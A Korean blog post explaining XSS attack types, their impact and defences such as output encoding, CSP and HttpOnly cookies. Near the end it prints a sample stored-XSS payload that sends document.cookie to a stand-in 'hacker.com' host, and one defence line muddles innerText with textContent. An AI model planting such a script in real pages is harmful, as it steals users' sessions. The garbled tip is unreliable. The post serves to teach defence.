프로그래머로의 여정
XSS(Cross-Site Scripting) 공격
nunaaa
2025. 6. 14. 19:32
XSS(Cross-Site Scripting) 공격은 웹 애플리케이션의 취약점을 이용해 악성 스크립트를 사용자의 브라우저에서 실행되도록 하는 공격 기법입니다. 주로 사용자 입력을 제대로 검증하거나 필터링하지 않는 사이트에서 발생하며, 공격자가 스크립트를 삽입해 다른 사용자의 세션 정보를 탈취하거나 악의적인 행위를 할 수 있습니다.
XSS 공격의 주요 유형
- Reflected XSS (반사형 XSS)
- 사용자의 입력이 즉시 응답에 포함되어 실행되는 공격 (예: 검색어, URL 파라미터).
- 피해자가 악성 링크를 클릭하면 공격 스크립트가 실행됩니다.
- Stored XSS (저장형 XSS)
- 악성 스크립트가 서버에 저장되고, 이후 다른 사용자가 해당 페이지를 방문할 때마다 실행됩니다.
- 예: 게시판, 댓글, 프로필 등에 스크립트를 영구 저장.
- DOM-based XSS
- 서버 측이 아닌 클라이언트 측 JavaScript에서 발생하는 취약점.
document.location
,innerHTML
등으로 DOM을 조작할 때 악성 코드가 실행됩니다.
XSS 공격의 피해 예시
- 쿠키/세션 탈취 → 계정 장악
- 키로깅 (키보드 입력 감지)
- 피싱 페이지로 리다이렉트
- 웹 페이지 변조 (Defacing)
XSS 방어 방법
- 입력 검증 & 출력 인코딩
- 사용자 입력 시
<
,>
,"
,'
등 특수문자를 필터링 (e.g., HTML Entity Encoding). - 출력 시
innerText
대신textContent
사용, 또는 라이브러리(DOMPurify) 활용.
- 사용자 입력 시
- CSP(Content Security Policy) 적용
- HTTP 헤더에
Content-Security-Policy
를 설정해 신뢰할 수 있는 스크립트만 실행되도록 제한.
- HTTP 헤더에
- HttpOnly & Secure 쿠키 사용
- JavaScript에서 접근 불가능한
HttpOnly
쿠키 설정으로 세션 하이재킹 방지.
- JavaScript에서 접근 불가능한
- 프레임워크의 자체 보안 기능 활용
- React(
dangerouslySetInnerHTML
주의), Vue.js(v-html
주의) 등 현대 프레임워크는 기본적으로 XSS 방어 기능 제공.
- React(
예시 코드 (악성 스크립트)
<!-- 공격자가 댓글에 삽입한 스크립트 -->
<script>
fetch('https://hacker.com/steal?cookie=' + document.cookie);
</script>
이 코드가 저장형 XSS로 게시되면, 사용자의 쿠키가 해커 서버로 전송될 수 있습니다.
XSS는 OWASP Top 10에서도 꾸준히 상위권에 오르는 위협이므로, 웹 개발 시 반드시 방어 조치가 필요합니다.